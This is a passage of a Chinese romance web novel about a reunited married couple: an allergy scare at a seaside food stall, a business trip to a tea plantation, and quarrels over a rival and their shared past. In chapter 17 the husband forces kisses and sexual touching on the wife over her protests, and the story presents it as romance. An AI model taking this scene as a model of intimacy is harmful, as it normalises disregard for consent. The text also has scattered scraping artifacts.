谢屿舟看她耍小孩脾气,微扬起眉峰。 空旷安静的角落,对他们而言,增长的不是暧昧,而是尴尬。 宋时微蹲在地上看螃蟹横着走路,越走越远,直至看不见,“回去吧。” 谢屿舟只说:“等会儿。” 宋时微微蹙眉头,“等什么?” 谢屿舟没有回答她,只是一味看向西方的天空。 日光如同洒金,晕染了波光粼粼的海面,像一幅绝美的油画。 太阳慢慢没入地平线,渐渐与大海融为一体,粉紫色晚霞好似莫奈的花园。 宋时微明白了他在等什么。 在等日落。 那一天他们约定好,第二天去海边看日出和日落,是她食言了。 宋时微用余晖偷瞄谢屿舟,刚好撞上他漆黑的眼眸,眼里只剩下彼此。 一瞬间,看穿对方在想什么,不约而同偏开视线。 墨蓝色天空代替了粉紫色,并肩站立的两个人小心翼翼靠近彼此,手臂挨着手臂。 缓缓抓住对方的手,十指紧扣,用力攥紧。 谢屿舟:“回去吧。” “好。”宋时微回握住他,“俊明哥问你晚上想吃什么?” 谢屿舟:“入乡随俗。” 深夜的大排档是临港一绝,充满烟! 火气与喧嚣的叫卖声。 不是本地人找不到这么正宗的店。 葛书韵不爱凑热闹,熬不了夜,晚餐只有三个年轻人。 蒋俊明担忧,小声问宋时微,“你老公愿意吃大排档吗?” 宋时微瞥一眼谢屿舟,脸上没有任何不耐,“他没那么多事。” 蒋俊明:“看着不像,你看他还换了件灰色衬衫。” 宋时微:“白色太正式了,我让他换的。” 这是原因之一,主要原因是白色衬衫被她抹脏了,不得不换。 “灰色看着也很贵。” 谢屿舟身着笔挺的衬衫,高级定制,西裤一丝不苟,从骨子里透出的矜贵与斐然,与他们格格不入。 大排档没有菜单,今天有什么食材做什么菜,宋时微站在冰柜面前问谢屿舟,“你想吃什么?有蛏子沙虫皮皮虾螃蟹鱿鱼。” 谢屿舟:“你点,我不懂。” 宋时微微张嘴唇,“那你有忌口或者过敏的东西吗?” 七年不见,她不知他的口味变化,就像她不知道他有胃病。 谢屿舟顿了一下,“没有。” 宋时微点了几个招牌菜,陆陆续续上齐。 “沙虫粥,很香,你试试,真的很好吃。”她极力推荐,长长的虫子像蚯蚓,看着没有食欲,但特别特别香。 谢屿舟望着砂锅,眉峰轻拧,迟迟不动勺子。 “不敢吃你吃别的。” “没事。” 他想尝尝他缺失的七年,她喜欢吃的东西。 宋时微喝了一口鲜甜的粥,给秦雅娴打视频,接通的过程中向谢屿舟介绍,“雅娴姐是我大学学姐,同时是俊明哥喜欢的人哦。”???x 原来给自己找了个假想敌。 真如傅景深所言,风声鹤唳,草木皆情敌。 蒋俊明着急出声,“要接通了,别暴露了啊。” 视频接通,宋时微神秘兮兮问:“雅娴姐,你猜猜我在哪儿?” 下午的照片被谢屿舟打断,没有发送成功。 秦雅娴怒斥她,“你竟然趁我培训悄悄溜回来。” 宋时微佯装委屈,“你都没和我说你要去培训,但是俊明哥都知道。” 秦雅娴吐槽,“临时凑数,你是不知道我一天都在坐车,人快没了,蒋俊明今天休息,大早上夺命call我,快快快让我看看你老公。” 她要好奇死了,倒要看看哪个男人魅力这么大。 宋时微举起手机,摄像头对准谢屿舟的侧脸,对面爆发一声感慨,“有品味,极品男人啊。” 原摄像头杂乱的光线对他有了优待,配她朋友绰绰有余。 “难怪你……”一句话没说完,视频对面有个男人喊秦雅娴,好像要讨论什么资料。 “等我开会回来,大晚上还要研讨,有病。” “好呀,拜拜。” 宋时微挂断视频,回过头看谢屿舟,被吓了一跳,男人露出的半截手臂上,不知何时起了密密麻麻红色的疹子,脖颈上似乎也有。 ! 看着属实骇人。 “谢屿舟,你过敏了。” 蒋俊明定睛一看,“还真是,我来打车,快去旁边的医院。” 和饭店老板熟悉,迅速付钱买单,前往医院。 每天都有许多外地游客吃海鲜过敏就医,医生已然习惯,谢屿舟的疹子面积过大,建议吊水。 宋时微取了吊瓶,“俊明哥,你先回去吧,明天还有训练,我对这很熟悉。” 蒋俊明哪能放心,“我和你一起。” 宋时微:“真不用,你还要为人民服务呢。” 蒋俊明拗不过宋时微,看着他们扎好针离开,走之前叮嘱万一有事一定要打他电话。 深夜小小的输液室,冷冷清清寥寥几个人,宋时微担心地蹙眉,一直未曾放下。 谢屿舟率先开口,“没能如你的愿,升官发财死老公。” 紧张的心情被他一句话打断,“闭嘴,老实吊水。” 恰巧,葛书韵打电话询问谢屿舟过敏的事,宋时微瞥了一眼,“没事,活着呢。” 左手打吊瓶,右手回工作信息,不愧是总经理。 葛书韵:“你这丫头。” 宋时微幽幽说:“我说的是事实,妈你早点睡吧,吊了水就没事了,别担心。” 再看一眼他身上的疹子,没有消除的痕迹,心持续高悬,严重过敏会导致窒息。 “你有觉得呼吸困难吗?” “没有。”她的担心是表现在脸上的,不论是出于什么原因,她担心他。 宋时微摸摸谢屿舟的额头,没有发烧,手放下来的时候,碰到了他的手,“你手好凉。” “给我捂捂。”男人抓住她的手,微砾的指腹摩挲她掌心的厚茧。 重逢至今,他们牵过许多次手,要把过去的时光补回来。 没有哪次是像今晚这样平静。 安静的夜晚,降低人的心理防线,药水缓缓流入体内,谢屿舟试探问:“七年你都在这。” 地球这么大,国内14亿人口,想找到宋时微,犹如大海捞针。 他没有放弃过。 宋时微平和笑笑,“对,临港挺好,我怕冷,这里冬天最多穿个大衣就行了,不用裹成粽子。” 一起讨论过高考志愿,跟着本心走,临海是她想去的城市之一。 最终和妈妈选择在这里生活。 那又是什么驱使宋时微回了南城呢? 谢屿舟在临海呆了一天,关于她手上的茧有了初步的答案。 外乡来的孤女寡母,一个中年妇女带着一个十八岁的女生,没有学历没有力气,如何在大城市立足? 经历过多少困难,才能开得起带门面的早餐店。 而早餐店挣得是辛苦钱,需要凌晨四点之前起床,前期为了降低成本肯定不舍得雇人,他不敢再深入想下去。 输液管的液体安安静静向下流动,到最后,不知是谁给谁捂手。 好在疹子慢慢消了下去,剩下的涂点药膏。 夏季的夜晚凉风徐徐,裹着! 星光踏着影子回家。 宋时微给孟新允发信息,【孟助,你知道谢总的过敏情况和饮食禁忌吗?】 身为谢屿舟的太太,却要从他的助理那里得知他现在的情况,属实不合格。 孟新允秒回,【太太,我发给你。】 身为老板爱情的保镖,站好每一班岗。 谢屿舟牵住她的手,提醒道:“小心脚下。” 上了年代的老旧小区,没有电梯,光线昏暗,需要徒步爬楼。 宋时微:“好。” 葛书韵在客厅等他们,着急问:“怎么样了?” 宋时微换拖鞋,“没事了,妈,你快去睡吧。” 葛书韵:“我给你们做点饭。” 宋时微:“我不饿。”时针已经过了10点,妈妈平时八点不到就要睡觉。 谢屿舟附声,“我也不饿,妈,您早点休息。” 葛书韵这才愿意回房间。 晚餐吃到一半折腾进医院,是天生犯冲还是老天的暗示?不得而知。 宋时微轻声问:“你确定不饿吗?冰箱里有粉、面条。” 说不饿是假的,她不想妈妈劳累。 谢屿舟跟着她进了厨房,“面条,我来做。” 宋时微:“算了,你是半个病人。” 第 16 章 电梯[VIP] 第16章电梯[vip] 谢屿舟漆黑的眼眸一瞬不移地看着她,瞳仁聚焦,透过吊灯,宋时微看到一双危险的眼睛。 她的上半身向后仰,男人不断欺身而下。 “嗯?怎么不说话?” 他的体温偏高,厨房没有装空调,宋时微的额头冒出细细密密的汗。 心跳打乱了节奏。 男人修长的指节隔着衬衫挠她的腰窝,身体被激起一阵一阵的微颤。 “时时,嗯?”谢屿舟的嗓音像浸了浓醇酒,低沉缓缓逼问。 一门之外,葛书韵在清理家务,随时可能进来。 他们是合法夫妻,在妈妈面前仍是孩子。 没有接吻没有做其他的事情,鼻尖挨着鼻尖,比直接亲吻更加暧昧。 “不告诉你。”宋时微不置可否,嘴角挽了一个笑,“谢总,你今天烧的是西湖醋鱼吗?” 这么酸。 她伸出双手推开他,弯了个腰逃出厨房。 宋时微坐在沙发上吹冷气,‘叮’,收到领导的消息。 程清安:【微微,需要你出个差,明天和谢总、孟助一同考察傅家茶园。】 宋时微:【好的,安姐,票怎么办?我们公司是什么流程啊?】 程清安:【机票和酒店行政会订,你联系她们,出差有补贴,回来记得走流程。】 宋时微:【好的,谢谢安姐。】 她先和孟新允沟通出差细则,和行政的同事沟通车票和酒店,说明了缘由,当即给她定了由临港飞往溪西的经济舱票。 晚上要赶飞机,宋时微抓紧时间和葛书韵聊天,“妈,谢屿舟会找个人和你一起去聊房子的事,砍价办手续有他们,你看看想装什么风格?” “好。”葛书韵问:“南城的房子还能买回来吗?” 不仅仅承载了她许多回忆,更重要的是与逝去的人有关。 “很难,房价翻了好几番。”宋时微宽慰妈妈,“我们现在好好的比什么都强,那些都是身外之物。” 葛书韵揉揉鼻头,“主要是你外婆留下的。” 宋时微半开玩笑说:“那我努力赚钱,争取早日买回来,这样吵架还有地方去。” 葛书韵望向厨房,“我看屿舟不会舍得和你吵架。” “妈,你现在偏心得过分了。” 宋时微偷瞄一眼谢屿舟,男人后背汗湿,“我去看看菜好了吗?” 她打开厨房门,让客厅的冷风灌入,降低厨房的燥热。 宋时微靠在推拉门上,小声问:“谢总,西湖醋鱼好了吗?” 没有玻璃门的隔绝,聊天声音需要收着点。 谢屿舟向锅里滴入几滴醋,一本正经说:“醋放多了,多炖会才能入味。” 明明炖的是红烧鱼。 谢屿舟一把将宋时微拉进厨房洗菜池的位置,困在他的怀里,从客厅望过来,是唯一的视野盲区。 “逃了就不用回答问题了吗?” 男人粗粝! 的指腹碾过她微微泛红的耳垂,食指与拇指按压,在她的耳洞处用力摩挲。 宋时微手掌撑在台面上,仰起头勾住他的衬衫纽扣,“你确定你会想知道答案吗?” 谢屿舟启唇,“你说。” 她踮起脚,嘴巴凑到男人的耳边,“答案是关心,开心吗?” 女人的气息里裹着似有似无的清甜香气,像蒲公英落在脸颊。 无所谓哪种关心,真真假假,答案而已。 宋时微耳上的力道蓦然收紧,薄薄的耳垂成了男人手里的玩具。 谢屿舟敛起神情,反问她,“什么时候多了一个耳洞?” 男人的眼神深沉没有情绪,没有再执着关心的问题,宋时微看不懂。 “大学室友想打怕痛,我陪她去的。” 她自己快忘了第三个耳洞的事,谢屿舟对她的身体倒记得清清楚楚。 宋时微的手背碰到旁边的电饭煲,发觉是凉的,“完了,忘煮米饭了。” 电饭锅里空空如也,一粒米一滴水都没有。 所有的风花雪月在温饱问题面前,全是幻影和浮云。 宋时微灵机一动,“我来烙个饼,你吃吗?” “吃。”谢屿舟松开她。 宋时微在柜子里找出面粉,加水稀释成面糊,手法熟练,比例掌握得刚刚好。 谢屿舟盯着她看,拢起她掉落的头发,曾经她和他一样是厨房小白,下个方便面都会烧了厨房。 “什么时候学的?” “大学。” 七年的时间,太久了,久到曾经熟悉的人变得陌生。 饼熟得快,几分钟的时间,宋时微烙好几张暄软的鸡蛋饼。 她没有放葱花,有个人不吃葱姜蒜。 宋时微看着餐桌的鱼,夹了一筷子抿唇笑,“今天的鱼是酸啊。” 葛书韵不知女儿和女婿在打哑谜,她尝了一口,“酸吗?我觉得刚好啊。” 宋时微正经瞎扯,“可能我最近对酸敏感。” 葛书韵猜想,“怀孕了吗?要是怀了我去照顾你。” “咳咳咳。”宋时微刚好在吃鱼,差点被鱼刺卡到,“没有,妈,暂时没有想法。” 白净的脸憋得通红。 葛书韵:“你们自己定,我不催生。” 谢屿舟表态,“我听时时的。”他又从桌子底下勾住她的腿。 究竟是什么癖好? 午饭结束,到了离开的时候,经过两天的相处,葛书韵对谢屿舟放下心,知礼数、有分寸,更重要的是用心。 趁女儿睡午觉的空隙,单独找谢屿舟聊天,当年的分别和她有很大关系。 “屿舟,你和微微好好过日子就好,当年怨我,微微迫不得已才离开,不然你们也不会分开这么久。” 七年前,她无意见过谢屿舟和女儿在一起,女儿小心翼翼的表情代表什么,当妈的一眼看穿。 她不是保守封建的家长,女儿喜欢她便支持。 后来,天不遂人愿。 妈妈对宋时! 微的重要性不言而喻,谢屿舟没有追问当年究竟发生了什么事,肯定是伤心难过的事,他向葛书韵保证,“妈,你放心,我会好好待她。” 是心里话,不是安慰长辈的场面话。 机场距离市区有40分钟的车程,宋时微不让妈妈去机场送她。 “有事一定要告诉我,不许瞒着我,不许报喜不报忧。” 葛书韵摸摸女儿的脑袋,“感觉你像妈妈,快走吧,回头赶不上飞机了。” “我走了,记住我的话。” 宋时微最害怕离别的场景。 汽车上路,妈妈站在原地,目送她离开,向她挥手。 后视镜里妈妈的身影越来越小、越来越远,直至消失。 宋时微将脑袋转向窗外,鼻头微酸眼圈泛红,突然,她的手心被塞了一张纸巾。 她故作坚强,“我没哭,用不着。” 谢屿舟嗓音清冽,“给你玩的。” 悲伤的情绪得到缓解,宋时微用面巾纸在手里折啊折,扭过脸放在谢屿舟手里,“还给你。” 是一只可可爱爱的小老鼠。 40分钟后,汽车抵达飞机场,宋时微寻找指示牌,开心地和谢屿舟挥手,“我的行李给我,经济舱候机在那边。” 谢屿舟慢条斯理说:“办了升舱。” 宋时微:???脸色瞬间垮下来。 “那报销怎么办?会被发现吗?” 谢屿舟:“不会,报销找孟新允,他知道怎么做。” 宋时微:“可我不想和你坐在一起。” “这就由不得你了。”谢屿舟伸出右手,递到宋时微面前,“走吧,除非你想跑着去登机。” 她心里本来就有鬼,现在和老板同一个起点出发,总担心别人看出来。 “不想。”宋时微递出自己的左手,被他宽大的手掌包裹。 飞机晚点半个小时落地溪西,天已黑透,傅景深为了表示他对合作的重视,亲自到机场接机。 孟新允提前一步到达,和傅景深一同在出口等待,老板牵着太太出现在他们的眼前,同款雾霾蓝衬衫,看着很是般配。 “谢总、宋小姐,这里。” 担心明天说漏嘴,孟新允采用对外称呼,自觉接过行李。 傅景深走上前打招呼,“谢总,宋小姐也在,好巧。” 宋时微礼貌笑笑,“傅总,晚上好。” 傅景深把玩袖口的纽扣,“宋小姐不是谢总的助理吧,谢总还时刻带着,感情好得让人羡慕。” 他打听过谢屿舟的过往,自然知道谢屿舟找人的事。 这一席话聪明人能听出反讽的意味。 孟新允:这人怎么回事,不要对别人的老婆有那么大的占有欲。 宋时微捏紧谢屿舟的手,手指穿过指缝,十指紧扣,“傅总,您说笑了,策划也需要到现场体会,才能写出更精准更符合产品本身的方案。” 四两拨千斤将话题带回工作。 傅景深:“宋小姐说的是,是我浅显了。” ! 谢屿舟的黑眸淡瞥他,“傅总,你越界了,这与合作无关。” “随便聊聊,车到了。” 傅景深安排了一辆七座商务车,孟新允和他坐在最后一排先上车。 谢屿舟伸出手臂,护着宋时微坐进车里。 看着在意得紧。 孟新允时刻紧盯傅景深,生怕他说出什么阴阳怪气的话。 傅景深拍拍他的肩膀,意味深长地说:“孟助,怎么这么紧张?” 孟新允镇定回复,“没有,傅总看错了。” 宋时微打开微信给妈妈报平安,发现她被拉进临时出差群里,原来不止有策划部,还有销售部、采购部、生产部等部门的同事。 到达时间接近,傅景深安排了其他人接待。 耳边是两位总经理讨论明天调研的事情,与工作有关,她认真听。 到达酒店,傅景深准备了接风宴,只是明天有考察,以茶代酒,重点在吃饭。 宋时微和谢屿舟恢复不熟的状态,他在主位,而她在拐角。 吃完饭,分配房间,两位总经理自然住在顶层的总统套房,普通员工则是低楼层的标准间。 原本五人的队伍,变得浩浩汤汤,分成两波上楼,宋时微被挤到电梯角落。 猝然,有人从后面抓住她的手,攥在手心里。 周围都是同事,她的心跳加快,掌心冒出潮湿的薄汗。 电梯缓慢上行,时间仿佛按了暂停键,电梯面板的数字迟迟不跳到3。 谢屿舟伸出手指在她手心里写字,指尖划过掌心,叠加害怕被发现的紧张,带来加倍酥酥麻麻的痒。 宋时微下意识想蜷缩手指,被男人箍住。 他在写第二个字。 ‘叮’,电梯到达三楼,宋时微抽出手掌,指尖无意识搓来搓去,客气告别,“我到了,傅总、谢总,再见。” 第 17 章 养猫[VIP] 第17章养猫[vip] 事发突然,宋时微反应过来的时候,她的眼前一片漆黑。 谢屿舟的手背护住她的后脑勺,同时碰到墙上的开关。 男人带着怒气和不容拒绝的力量,像看到猎物的雄狮,一整个扑了过来,想要将她整个人嵌进身体里。 吞吃入腹,唇舌间带有浓浓的占有欲。 谢屿舟呼吸沉重,不给她丝毫喘息的机会,一开始便是浓烈的炙热的吻。 空气里大麦的香气肆意横行,宋时微跟着醉了,意识时起时伏。 男人的牙齿咬住她的耳垂,缓慢下移,似电影里的吸血鬼,想要喝她的血。 宋时微得以喘气,尝试喊他,“谢屿舟,你先放开我。” 然而,谢屿舟恍若未闻,扯掉她的睡衣,嘴唇亲到清冷锁骨。s??x 势必将所有的情绪发泄出来。 男人抱着她走到床边,齐齐陷入柔软的床第,宋时微冷声质问:“谢屿舟,你到底要干嘛?” “你。” 谢屿舟趴在她的颈窝喘气,顾左右而言他,“我房间有蚊子。” “啊?”宋时微的火无处释放,秀眉蹙起,这和强吻她有什么关系,“没有蚊香吗?你找前台要。” 除了老板,其他同事均住在她这一层。 宋时微按开开关,环顾四周,“我这有,你拿着,快上去吧。” 昏暗的筒灯滋长了暧昧的气息,压在她身上的男人不掩饰眼里的欲望,明晃晃写着‘想要你’。 衬衫纽扣被他自己扯开,露出粉白的脖子,喉结滚动,色气叠加欲气。 宋时微偏开视线,“床头好像有避孕套,做完你就回去。” 领证一个多月的合法夫妻,磨磨唧唧不如十八岁。 当年敢在谢师宴上偷偷溜走的两个人,现在躺在一张床上,变得畏首畏尾。 谢屿舟哼笑一声,松开了她,语气冷淡,“然后第二天继续消失,七年后再回来,宋时微,你把我当什么。” 宋时微被他气笑,“不是,是你进来就强吻我,技术那么烂。” 谢屿舟捏她的耳垂,“我看你挺喜欢,每次都抖。” “我是推不动。” 宋时微翻了个身,背对他,“蚊香在桌子上,记得把门带上。” 谢屿舟:“不要。” 空气缓慢流动,男人在她身边躺下,他什么都没有做,和刚刚进屋的人判若两人。 宋时微问:“你到底做不做?” “做完了赶我走?”谢屿舟:“我不用酒店的,质量不好。” 倒也符合他的性格,当初特意叫跑腿送避孕套,说担心酒店的品质。 宋时微转过身,推了推谢屿舟,“谢总,你能回去吗?我可不想回头有流言,说我插足你的家庭。” 谢屿舟勾住她的头发,缠在手里,“自己插足自己,原来太太喜欢玩这种。” 宋时微无语,“你不要误解我的意思,是不想有流言。” ! 谢屿舟的手掌扣住她的脖子,语气不善,自上而下砸下来,“和傅景深产生流言就没关系。” 宋时微解释,“我和傅总他……” 突然,她的嘴巴被捂住,呜咽声从指缝漏出。 “谢屿舟!” 他怎么可以,趁她不备塞进去。 谢屿舟的唇贴在她的唇角,瞳仁变暗,“为他说一次话,我加一根手指。” 宋时微怒斥他,“我没有为他说话,我和他就是普通朋友。” “你变态。” 果然,像他说的,第二根手指加入。 谢屿舟意味深长地说:“时时,还要继续吗?” 宋时微咬紧嘴唇,不想被他牵制,不如他的愿,倔强地闭紧牙关。 谢屿舟抚在她的唇上,“不用忍着,隔音还不错。” 她顺势咬住他的手臂,用了十成十的力气,男人的喉咙发出闷哼声。 宋时微屈膝踢了他的肚子,愠怒道:“你给我回去。” 谢屿舟抽出黏腻的手指,捂住了肚子。 “别装。” 借助灯光,宋时微疑惑打量,嘴唇微白,他不是卖惨的性格。 于是连忙问:“你怎么了?头疼还是胃疼?药吃了吗?” “没事。” 谢屿舟倒吸一口凉气。 宋时微拦住他,“你真的没事吗?” 谢屿舟盯着她的眼睛,“有事你会关心我吗?” 宋时微不答反问:“我给你买的药你吃了吗?” 谢屿舟:“你不是尝过了,没尝出来吗?” 他钳住她的下巴,吻了上去。 宋时微被迫再尝一次他嘴里的味道,舌尖探出,划过口腔,薄荷的清爽与大麦发酵的酒味融合,没有苦涩的药味。 谢屿舟抵住她的额头,“尝出来了吗?” “骗子。”药不是在嘴里化开,怎么可能还有味道。 谢屿舟抚平她凸起的眉头,肯定道:“你关心我。” 宋时微嘴硬,“你是我老公,我现在不想丧夫,不想二婚。” “你没事的话就上去。” 她又下了逐客令。 关心就行,无所谓什么理由。 男人纹丝不动,耍起无赖,宋时微拿他没办法,由他躺一会儿。 “傅景深是不是表面大张旗鼓和你合作,实际重点在布局别的行业啊。” 谢屿舟:“看出来了啊。” 宋时微理性分析,“因为饮料前景没有其他得大,利润一般,也不是重点扶持的行业,影响力不行不利于进入董事会,不过,你怎么还愿意?这么重视,不担心吗?” 从傅景深一整天的表现来看,他不上心,准确来说,没那么上心。 谢屿舟微勾唇角,“担心我?” 宋时微睨他一眼,“我不想失业。” “不会让你失业。”谢屿舟说:“他想演戏,就陪他演演,不过他不完全是玩,传统行业有传统行业的优势,互利共赢。” 他抬眸! 问:“你对茶做过研究?” 两个人面对面躺着,没有牵手没有拥抱,属于他们难得的温存时光。 “大学的课外实践做过一点点研究,属于瞎猫遇上死耗子。” 除此之外,还有奶茶兼职带来的知识积累,她不想他知道,那段昏暗的日子。 谢屿舟恍然感叹一句,“傅景深是死耗子。” 宋时微:“?”她没这个意思。 “你可真会做阅读理解。” 她转回正题,“傅家的茶园,从茶本身来看品质是不错的,只是没有那么出名,身价与营销有关,要花费金钱。” 自媒体时代,做得好的不如营销好的,找几个探店博主网红一炒作,身价水涨船高。 谢屿舟同意她的观点,“质量好是基础和根本,其他是锦上添花。” 宋时微抬眼看男人的神色无恙,面色红润,“你好了吗?可以上去了吗?” 谢屿舟:“宋时微,你不累吗?说这么多话。” “所以你快回去,别影响我睡觉。”宋时微打了一个哈欠,掀开被子躺进去。 谢屿舟自嘲笑笑,“这么怕和我扯上关系?和别的男人就没关系。” 绕了一圈,绕回最初的问题。 宋时微强调,“我都怕,还不是你的错,你俩有过节,自己解决,不要连累我。” 谢屿舟:“我俩没过节。” 不想再纠结这个话题,加上敌不过困意,宋时微索性说:“你想待就待吧。” 谢屿舟脱掉衬衫,拥住宋时微,“我没带睡衣,放心,洗过了。” 宋时微闭上眼睛,掩耳盗铃。 “又不是没见过。” “忘了,多久的事了。” “那你找一下记忆。”谢屿舟牵着她的手,摸上他垒块分明的腹肌。 宋时微贴上去,久远的记忆回笼,肌肉比那时候更硬,“想不起来,睡了。” 时间真是害人的东西,能把一个纯情男生变成厚脸皮的男人。 清晨六点,谢屿舟生物钟响起,怀里的女人睡得香甜,他拿开她的手臂,轻轻下床。 在她额头上落下轻柔的吻,离开房间。 电梯在三层打开,里面只有一个人。 谢屿舟面无波澜抬腿走了进去,颔首示意。 傅景深首先打破沉默,“谢总,好巧,这么早就起来了啊。” 一句话意有所指。 谢屿舟回怼,“傅总,你不也这么早,彼此彼此。” 电梯缓慢向上行,两个男人并排站立,看似平静无波,实则暗流涌动。 傅景深幽幽开口,微微侧身,“我怎么记得谢总不住在三楼。” 谢屿舟的语气无奈,宠溺意味十足,“没办法,太太晚上睡觉需要哄,傅总单身,自然不知道这些。” 傅景深:“看不出来宋小姐是这样的性格。”他只用‘宋小姐’称呼,从不用‘谢太太’。 谢屿舟和他强势对视,薄唇轻启,“毕竟面对老公和面对朋友是不一样的,真实性格只会! 展现给亲密的人。” ‘叮’电梯抵达顶层,谢屿舟先踏出去,保持平和的笑,“傅总结个婚就明白了,我到了。” “谢总说的我都要期待了。”傅景深:“回见。” 宋时微醒来,旁边已没有男人的身影,不知道有没有被人看见。 群里安安静静,八卦群亦如此,是安全的。 每个部门的侧重点不同,第二日的考察偏自由行,随意行动。 而谢屿舟和傅景深单独会谈。 两天的考察落下帷幕,回程飞机谢屿舟老老实实坐他的商务舱,没有给她升舱。 宋时微旁边坐了一个采购部的姑娘,叫南枳,挺有趣的名字。 橘生淮南则为橘,生于淮北则为枳,偏要把南和枳结合在一起。 她性格自来熟,下飞机问需不需要送。 宋时微礼貌推辞,“我老公来接我。” 南枳感叹,“英年早婚,可惜。” 南城的天逐渐变黑,月亮爬上半空。 宋时微循着地址找到车,钻进黑色迈巴赫里,听见车里矜贵斐然的男人嗤笑一声。 阴阳怪气,她不和他计较。 “君姨问你晚上想吃什么?” “想吃点辣的,这几天吃得太清淡了。” 今天是陈叔开车,后排安安静静,没有放下挡板,他用余光看了眼后视镜,先生和太太各忙各的。 老太太来询问感情,老谢总也来问,他太难了。 第 18 章 钱包[VIP] 第18章钱包[vip] 宋时微的手指在桌子底下绕来绕去,加起来不过十根指头,竟缠绕地找不到方向。 他说得没错,当初是她拉着他收养的猫,最后丢给了他。 同时丢掉了他。 餐桌边空气凝结,仿若处在稀薄空气中,宋时微不敢看谢屿舟的眼睛,她怕看到他失落的情绪。 “我吃饱了,去看看猫。” 谢屿舟重重灌下一杯冰水,压下翻腾的情绪,带果冻回来,无疑将过去的七年摊开在面上,临港的温馨像是一场美梦。 现在又回归到之前的状态,被抛下的七年横亘在中间。 耿耿于怀是他,不可能不在意。 宋时微蹲在沙发拐角,小心抱起果冻,脸贴着猫脸,“果冻,好想你啊。” 感叹猫的记忆力,过了七年竟然还能记得她。 果冻比七年前重了许多,肉嘟嘟的,和布丁形成鲜明对比,她快要抱不动它,看来余子昂用心照顾它。 猫不记仇,一直往她怀里钻,好像昨天她们才见过。 布丁刚被收养,相对乖了许多,默默在旁边看。 “果冻,这是布丁妹妹。”宋时微介绍两只猫认识,握住它们的前爪,让它们握手。 临时收养猫,家里没有猫屋,两只猫睡在各自的窝里。 宋时微陪猫玩了一小会儿,猫咪爬进窝里睡觉。 她抬起头,天空中没有一丝光亮,月亮躲进厚重的云层。 风起,山雨欲来。 宋时微关上阳台的窗户,吹到脸上的碎发被拢到耳后,用鲨鱼夹固定,“我去把碗刷了。” 一般放进洗碗机就好,君姨会来收拾。 她的视线始终游离在谢屿舟之外,垂眸看向餐桌、地面的木纹砖,数清了有多少花纹,多少条格子,就是不看他。 谢屿舟倚靠在椅子上,面色凝重,冷硬出声,“怎么?怕我和你算账。” “不是。”宋时微反驳得没有底气。 谢屿舟站起来,卷起掉下的半截衬衫袖子,收起自己的碗,“我不会再和你算账,没有意义。” 男人强势地夺走她手里的东西,放进厨房。 一道突兀的铃声打破了凝滞的空气,宋时微从餐桌上捞起手机,来电人是林以棠。 “微微,明天陪我去趟律所。” 宋时微忙问:“发生什么事了吗?” 林以棠:“关于婚前协议,想多咨询几家律师的看法。” “好。”宋时微应下来,答应陪她去。 宋时微在衣帽间整理脱下来的衣服,一个钱包掉在她的眼前。 她捡起来,看清钱包的样式,久久不能回神。 这是她攒了很久的钱,加上过年的压岁钱给谢屿舟买的钱包。 是她这么多年买得最贵的东西,人生中买的第一个奢侈品牌的包送给了他,她不会记错。 钱包边缘轻微磨损,他用了很多年。 倏然,宋时微想起孟! 新允的话,她深呼吸一口气,打开钱夹,果然是她的照片。 七年前青涩的模样,他一直留着,带在身边,七年。 视线渐渐模糊,鼻尖酸涩,她仰起头,扇扇眼睛。 猫、钱包、照片不断萦绕在宋时微的脑海。 她没有注意到谢屿舟已进入衣帽间。 恍惚间,男人已走到她的面前。 宋时微拿着钱包,怔怔然问:“谢屿舟,你为什么留着我送你的钱包?还放我的照片?” 在手机支付的时代,几乎没人再随身携带钱包。 更何况一个七年前的老款式。 她屏气凝神等他的答案,目光锁在男人的脸上。 谢屿舟颀长的身影落在地上,似乎将她包裹,“时刻告诉自己,是谁睡了我,又抛下我,有些当上一次就够了。” “钱包还我。” 男人从她手里夺过钱夹,放进抽屉里。 原来是这样,是她自作多情了,宋时微拧拧鼻头,抱起睡衣钻进浴室。 睡前,难捱的思绪压着两个人。 宋时微磨磨蹭蹭掀开被子躺了进去,躺在床铺最边缘。 刚缓和的关系随着猫的出现又降至冰点。 两个人中间隔了一大片空地,怀念临港的小床,即使闹了矛盾,还是能够挨在一起。 谢屿舟自嘲道:“我是会吃了你吗?” 宋时微望着漆黑的天花板,“不会。” “过来。”室内寂静无声,没有挪动的声音。 安静片刻,宋时微依然没有动,呆在原处,谢屿舟摁摁太阳穴,声音软下来,“过来,抱着我。” 无声对峙几十秒,同时响起窸窸窣窣床的声音。 他往中间去,她向中间挪。 男人伸出长臂,一把揽住宋时微,将她抱在怀里。 比平时抱得更紧,她蜷缩在他怀里。 黑暗是隐藏情绪的最佳帮凶,宋时微回抱住谢屿舟,想给他一点点安全感。 他是怕第二天她再消失,迟迟不迈出最后一步。 宋时微在他胸前闷闷出声,攥紧他的睡衣,“谢屿舟,我不会再离开的。” 男人喉咙里淡淡回了一个“嗯”字,不知道信还是不信。 翌日上午,宋时微忙完工作,请了一个小时假,陪林以棠去附近的律所。 南城传说中的王牌律所——诺德律师事务所,胜诉率在行业内遥遥领先。 林以棠挽住宋时微的胳膊,“你们的婚前协议怎么定的?” 宋时微:“没定。” 准确来说,婚前协议被谢屿舟撕掉了。 林以棠:“哦,现在钱都有来源,真要离婚的话,他比你聪明。” 她补充一句,“我没有说你们会离婚的意思。” “我知道。” 谢屿舟会和她离婚吗? 或许吧,等哪一天他觉得没意思了,报复够了的时候。 林以棠约了一位女律师,律师向她介绍了婚前协议和婚后共同财产的事情! ,以及婚内转移财产等方面,比网上查的资料要清晰明确。 宋时微在一旁听着,门门道道远比她想得多。 有心之人会隐藏真实收入,许多财产不在其名下,婚前财产公证对双方都好,谁也不要惦记谁。 对当下的人来说,婚姻更像是一场交易。 不过,很正常,谁的钱都不是大风刮来的。 律师介绍完,说了几个注意事项,林以棠问:“谢屿舟有和你说他的财产吗?” 宋时微思考数秒,“好像有,我没注意。” 两人聊天的时候恰巧遇到余子昂从外归来,均错愕一瞬。 宋时微主动打招呼,“余律师。” 余子昂在她脸上打量一番,“宋时微,我能和你单独聊聊吗?” “好。”宋时微和林以棠说:“糖糖你去外面等我。” 重新踏入刚刚的会谈室,这次没有水没有寒暄。 宋时微和余子昂不熟,只知道他和谢屿舟是十几年的交情。 “你随便坐。” 余子昂在她对面的椅子坐下,直视面前的人,“宋时微,你知不知道谢屿舟找你找了很久,开始去你家楼下等你,一个一个问你家的亲戚,后来报警,可是他有什么资格。” “还有那只猫,出国七年,天天关心猫,问我猫好不好,简直当小孩在关心。” “我本来不想掺和,因为他认定了你,但你怎么可以做到无动于衷,若无其事出现在他的面前。” 